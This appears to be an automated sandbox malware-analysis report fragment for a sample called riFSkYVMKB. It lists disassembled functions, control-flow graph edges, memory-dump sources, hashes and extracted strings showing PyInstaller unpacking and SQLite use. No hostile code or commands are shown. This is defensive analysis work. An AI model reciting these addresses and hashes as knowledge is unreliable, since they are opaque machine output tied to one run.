1643->1640 1646 7ffd9415510e-7ffd94155113 1643->1646 1647 7ffd94155050-7ffd94155062 call 7ffd940f3790 1644->1647 1648 7ffd94155088-7ffd94155090 1644->1648 1646->1588 1661 7ffd94155064-7ffd94155069 1647->1661 1662 7ffd9415506b-7ffd94155073 call 7ffd940d6c40 1647->1662 1650 7ffd94155092-7ffd94155099 1648->1650 1651 7ffd941550a3-7ffd941550b6 1648->1651 1650->1651 1653 7ffd9415509b-7ffd9415509e call 7ffd940efef0 1650->1653 1654 7ffd941550c6-7ffd941550d2 1651->1654 1655 7ffd941550b8-7ffd941550bc 1651->1655 1653->1651 1659 7ffd941550d4-7ffd941550e9 call 7ffd94131280 1654->1659 1660 7ffd941550ee-7ffd941550f3 1654->1660 1655->1654 1658 7ffd941550be-7ffd941550c1 call 7ffd940efec0 1655->1658 1658->1654 1659->1660 1660->1643 1666 7ffd941550f5-7ffd941550f8 call 7ffd940f4b80 1660->1666 1661->1662 1665 7ffd94155077-7ffd9415507a 1661->1665 1662->1665 1665->1646 1668 7ffd94155080 1665->1668 1666->1643 1668->1648
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: database schema is locked: %s$out of memory$statement too long
                                                                                                                                                                                                                                          • API String ID: 1436585979-1046679716
                                                                                                                                                                                                                                          • Opcode ID: 7f23d50979c88e00e17b4a476aebd8052426b92c118e75aeb5a3e9824675a78a
                                                                                                                                                                                                                                          • Instruction ID: c9379bc23277dbe1136dbb9b221ae050e6108952b7a64efa3464dc3a40487850
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7f23d50979c88e00e17b4a476aebd8052426b92c118e75aeb5a3e9824675a78a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0BF16F23B0C68286EB749FA594A43FA7BA0FB86B48F088135DA4D17796DF7CE441C740
                                                                                                                                                                                                                                          Function 00007FFD948A33C0 Relevance: 6.9, APIs: 4, Instructions: 900librarymemoryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2285862220.00007FFD948A3000.00000080.00000001.01000000.00000004.sdmp, Offset: 00007FFD94250000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284403964.00007FFD94250000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD94251000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD94526000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD94535000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD9453F000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD94581000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD94650000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD94658000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD9475B000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD9475F000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD947A6000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD947AE000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD947EF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD94823000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD9484D000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD94862000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284437276.00007FFD9489C000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2285890012.00007FFD948A5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd94250000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ProtectVirtual$AddressLibraryLoadProc
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3300690313-0
                                                                                                                                                                                                                                          • Opcode ID: 248494c49456e9061dd29398c4c192e6d920701940ac97edae2a832ef171e598
                                                                                                                                                                                                                                          • Instruction ID: 40ae61aecf8bcdc835ed40021224477ec07902a59d1091e01d38c758fb6cf498
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 248494c49456e9061dd29398c4c192e6d920701940ac97edae2a832ef171e598
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: E162573272959287E7258F38D49027D77A0F749785F049132EA9EC3BC5EABCEA45CB10
                                                                                                                                                                                                                                          Function 00007FFD939A0350 Relevance: 6.9, APIs: 4, Instructions: 885librarymemoryloaderCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2281451526.00007FFD939A0000.00000080.00000001.01000000.00000013.sdmp, Offset: 00007FFD938F0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280801321.00007FFD938F0000.00000002.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD938F1000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9393A000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93948000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD93997000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399C000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280851953.00007FFD9399F000.00000040.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2281502528.00007FFD939A2000.00000004.00000001.01000000.00000013.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd938f0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ProtectVirtual$AddressLibraryLoadProc
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3300690313-0
                                                                                                                                                                                                                                          • Opcode ID: 6f314cbc243d0361b81c21546ac629a958ec6804df8a06217d551e75d8bff2aa
                                                                                                                                                                                                                                          • Instruction ID: 7358de9ee7957532a6a437f451c5b8aa21c2a9e023d734d6397e135367885771
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6f314cbc243d0361b81c21546ac629a958ec6804df8a06217d551e75d8bff2aa
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1F6205237282D296E7258F78D8143BD77A4F748785F145632EA9EE3784EA3CEA45C700
                                                                                                                                                                                                                                          Function 00007FFD940F2250 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 586COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: :memory:
                                                                                                                                                                                                                                          • API String ID: 1436585979-2920599690
                                                                                                                                                                                                                                          • Opcode ID: f17bc2a7fbc240265f12274023a72bab645a00ad97817d0cd97924ee0e2d3e31
                                                                                                                                                                                                                                          • Instruction ID: 750e042b8321a0a92bd2767b18fd25505ab3ef97b3f4adf8f00c12fe53b2a974
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: f17bc2a7fbc240265f12274023a72bab645a00ad97817d0cd97924ee0e2d3e31
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: AA428062B0DB8282EA75CBA595B037927A0FF86B44F548179CE4D07792DF3EE495E300
                                                                                                                                                                                                                                          Function 00007FF79D0592F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Find$CloseFileFirst
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2295610775-0
                                                                                                                                                                                                                                          • Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
                                                                                                                                                                                                                                          • Instruction ID: cc327a817d97e3ddfba185ec94217155a297144cd598c67ef783b68e0a2760c1
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6CF04432A1C741C6F7709F79B44976AA350EB84768F840235DAED06AD4EF3CD0498A10
                                                                                                                                                                                                                                          Function 00007FFD940E1230 Relevance: 1.7, APIs: 1, Instructions: 204COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: InfoSystem
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 31276548-0
                                                                                                                                                                                                                                          • Opcode ID: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
                                                                                                                                                                                                                                          • Instruction ID: 43c9c76ed1c1798f790b14569f48c12a68d4f926f4e2f9a2ea74b8f5b244693b
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 0609f6becf4837133f86ac5623d419228c70d3b405efdb4a8828f98acc38b35e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: CAA1DB61B0AB4781EF78CBD5A8F427622A0BF46F84F54C535C95D4E7A2EF2DA5A0D300
                                                                                                                                                                                                                                          Function 00007FF79D051950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 267 7ff79d051950-7ff79d05198b call 7ff79d0545b0 270 7ff79d051c4e-7ff79d051c72 call 7ff79d05c5c0 267->270 271 7ff79d051991-7ff79d0519d1 call 7ff79d057f80 267->271 276 7ff79d051c3b-7ff79d051c3e call 7ff79d0600bc 271->276 277 7ff79d0519d7-7ff79d0519e7 call 7ff79d060744 271->277 281 7ff79d051c43-7ff79d051c4b 276->281 282 7ff79d051a08-7ff79d051a24 call 7ff79d06040c 277->282 283 7ff79d0519e9-7ff79d051a03 call 7ff79d064f78 call 7ff79d052910 277->283 281->270 288 7ff79d051a45-7ff79d051a5a call 7ff79d064f98 282->288 289 7ff79d051a26-7ff79d051a40 call 7ff79d064f78 call 7ff79d052910 282->289 283->276 297 7ff79d051a7b-7ff79d051afc call 7ff79d051c80 * 2 call 7ff79d060744 288->297 298 7ff79d051a5c-7ff79d051a76 call 7ff79d064f78 call 7ff79d052910 288->298 289->276 309 7ff79d051b01-7ff79d051b14 call 7ff79d064fb4 297->309 298->276 312 7ff79d051b35-7ff79d051b4e call 7ff79d06040c 309->312 313 7ff79d051b16-7ff79d051b30 call 7ff79d064f78 call 7ff79d052910 309->313 319 7ff79d051b6f-7ff79d051b8b call 7ff79d060180 312->319 320 7ff79d051b50-7ff79d051b6a call 7ff79d064f78 call 7ff79d052910 312->320 313->276 327 7ff79d051b8d-7ff79d051b99 call 7ff79d052710 319->327 328 7ff79d051b9e-7ff79d051bac 319->328 320->276 327->276 328->276 331 7ff79d051bb2-7ff79d051bb9 328->331 333 7ff79d051bc1-7ff79d051bc7 331->333 334 7ff79d051bc9-7ff79d051bd6 333->334 335 7ff79d051be0-7ff79d051bef 333->335 336 7ff79d051bf1-7ff79d051bfa 334->336 335->335 335->336 337 7ff79d051bfc-7ff79d051bff 336->337 338 7ff79d051c0f 336->338 337->338 339 7ff79d051c01-7ff79d051c04 337->339 340 7ff79d051c11-7ff79d051c24 338->340 339->338 341 7ff79d051c06-7ff79d051c09 339->341 342 7ff79d051c2d-7ff79d051c39 340->342 343 7ff79d051c26 340->343 341->338 344 7ff79d051c0b-7ff79d051c0d 341->344 342->276 342->333 343->342 344->340
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D057F80: _fread_nolock.LIBCMT ref: 00007FF79D05802A
                                                                                                                                                                                                                                          • _fread_nolock.LIBCMT ref: 00007FF79D051A1B
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D052910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF79D051B6A), ref: 00007FF79D05295E
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _fread_nolock$CurrentProcess
                                                                                                                                                                                                                                          • String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
                                                                                                                                                                                                                                          • API String ID: 2397952137-3497178890
                                                                                                                                                                                                                                          • Opcode ID: 53af67305d532fbc314f4c998b34aeb01e511dd16d42ec936fdd9680fdd2256a
                                                                                                                                                                                                                                          • Instruction ID: 8444b843eaedd22ea379e4d5ff3be2f74fdb9c3f8347abde07fd90011a8a6d11
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 53af67305d532fbc314f4c998b34aeb01e511dd16d42ec936fdd9680fdd2256a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F0817C71A0CA8295EA30AB3AD4402F9B3A0EF48784FC44531E9CD47786FE3DE5858761
                                                                                                                                                                                                                                          Function 00007FF79D051470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2280422493.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280375625.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280458634.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280490510.00007FF79D091000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2280720027.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CurrentProcess
                                                                                                                                                                                                                                          • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                                                                                                                                          • API String ID: 2050909247-3659356012
                                                                                                                                                                                                                                          • Opcode ID: dd2fc87dbbd0b0694c4caf1c96eed29f086ec43e314d43e8a581fca28114ff0d
                                                                                                                                                                                                                                          • Instruction ID: 975e7f0c63a2e405316ea6e81074e8be8568229d68f5d7952d981d293456e241
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: dd2fc87dbbd0b0694c4caf1c96eed29f086ec43e314d43e8a581fca28114ff0d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3E415D21B0C64285EA20EB7AE8405B9F390EF44794FC44932ED9E07B99FE7CE556C721
                                                                                                                                                                                                                                          Function 00007FFD941543D0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 334COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 676 7ffd941543d0-7ffd94154494 call 7ffd941540d0 679 7ffd9415449a-7ffd941544b8 676->679 680 7ffd94154846-7ffd94154849 676->680 681 7ffd941544d2-7ffd941544d6 679->681 682 7ffd941544ba-7ffd941544cd 679->682 683 7ffd94154853-7ffd94154856 call 7ffd940d6c40 680->683 684 7ffd9415484b-7ffd94154851 680->684 686 7ffd941544e6-7ffd941544f2 681->686 687 7ffd941544d8-7ffd941544df 681->687 685 7ffd9415486f-7ffd9415488e call 7ffd94202900 682->685 688 7ffd9415485b-7ffd94154861 call 7ffd94131280 683->688 684->683 684->688 691 7ffd941544f4-7ffd941544f8 686->691 692 7ffd941544fe-7ffd94154502 686->692 687->686 690 7ffd941544e1 call 7ffd940efef0 687->690 699 7ffd94154866-7ffd94154868 688->699 690->686 691->692 696 7ffd9415457b-7ffd94154586 691->696 697 7ffd94154504-7ffd94154508 692->697 698 7ffd9415450a-7ffd9415450f call 7ffd940f3790 692->698 703 7ffd94154590-7ffd941545a7 call 7ffd940fd660 696->703 697->698 701 7ffd94154578 697->701 704 7ffd94154514-7ffd94154518 698->704 699->685 701->696 709 7ffd941545a9-7ffd941545b1 703->709 704->701 706 7ffd9415451a-7ffd94154527 call 7ffd94192850 704->706 713 7ffd9415455e-7ffd94154565 706->713 714 7ffd94154529 706->714 710 7ffd941545b3-7ffd941545bc 709->710 711 7ffd941545be 709->711 715 7ffd941545c1-7ffd941545cf 710->715 711->715 719 7ffd9415456f-7ffd94154573 713->719 720 7ffd94154567-7ffd9415456a call 7ffd940d6400 713->720 716 7ffd94154530-7ffd94154539 714->716 717 7ffd94154685 715->717 718 7ffd941545d5-7ffd941545d8 715->718 716->716 721 7ffd9415453b-7ffd9415454d call 7ffd940d6880 716->721 724 7ffd9415468a-7ffd9415469d 717->724 722 7ffd941545da-7ffd941545df 718->722 723 7ffd94154615-7ffd9415461b 718->723 726 7ffd94154829-7ffd94154831 719->726 720->719 721->713 746 7ffd9415454f-7ffd94154559 00007FFDA4173010 721->746 722->723 730 7ffd941545e1-7ffd941545f6 722->730 723->717 733 7ffd9415461d-7ffd94154630 call 7ffd940d6880 723->733 731 7ffd941546d3-7ffd941546e6 724->731 732 7ffd9415469f-7ffd941546a4 724->732 727 7ffd94154833-7ffd94154837 726->727 728 7ffd9415483e-7ffd94154844 726->728 727->728 734 7ffd94154839 call 7ffd940efec0 727->734 728->680 728->699 736 7ffd9415460b-7ffd94154613 call 7ffd9413a830 730->736 737 7ffd941545f8-7ffd941545fb 730->737 741 7ffd941546ec-7ffd941546f4 731->741 742 7ffd941546e8 731->742 738 7ffd941546b6-7ffd941546bd 732->738 739 7ffd941546a6-7ffd941546ab 732->739 753 7ffd94154632-7ffd94154663 733->753 754 7ffd94154666-7ffd9415466d 733->754 734->728 736->724 737->736 747 7ffd941545fd-7ffd941545ff 737->747 751 7ffd941546c0-7ffd941546ce call 7ffd940f2e50 738->751 748 7ffd941546b4 739->748 749 7ffd941546ad-7ffd941546b2 739->749 743 7ffd9415473c-7ffd9415473e 741->743 744 7ffd941546f6-7ffd94154709 call 7ffd940d6880 741->744 742->741 757 7ffd94154740-7ffd94154744 743->757 758 7ffd9415474b-7ffd941547b9 call 7ffd940d9170 call 7ffd9414cf30 743->758 768 7ffd94154722-7ffd94154729 744->768 769 7ffd9415470b-7ffd9415471d 744->769 746->713 747->736 756 7ffd94154601-7ffd94154606 747->756 748->738 749->751 751->731 753->754 761 7ffd9415466f-7ffd94154672 call 7ffd940d6400 754->761 762 7ffd94154677-7ffd94154680 754->762 764 7ffd9415481a-7ffd9415481e 756->764 757->758 765 7ffd94154746 757->765 778 7ffd941547bb-7ffd941547c1 call 7ffd940d6400 758->778 779 7ffd941547c6-7ffd941547c8 758->779 761->762 762->764 764->726 771 7ffd94154820-7ffd94154824 call 7ffd940f4b80 764->771 765->758 773 7ffd94154733-7ffd94154737 768->773 774 7ffd9415472b-7ffd9415472e call 7ffd940d6400 768->774 769->768 771->726 773->764 774->773 778->779 781 7ffd941547ca-7ffd941547d0 call 7ffd9412e490 779->781 782 7ffd941547d5-7ffd941547d9 779->782 781->782 784 7ffd941547f2-7ffd941547f4 782->784 785 7ffd941547db-7ffd941547f0 call 7ffd94131310 782->785 787 7ffd94154805-7ffd94154815 784->787 788 7ffd941547f6-7ffd941547fe 784->788 785->764 787->764 788->764 790 7ffd94154800-7ffd94154803 788->790 790->764 790->787
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000002.00000002.2283494256.00007FFD940D1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFD940D0000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283450258.00007FFD940D0000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94231000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94233000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2283494256.00007FFD94248000.00000040.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284223881.00007FFD9424A000.00000080.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000002.00000002.2284334350.00007FFD9424C000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_2_2_7ffd940d0000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: 00007A4173010
                                                                                                                                                                                                                                          • String ID: CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)$SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master$table
                                                                                                                                                                                                                                          • API String ID: 1436585979-879093740
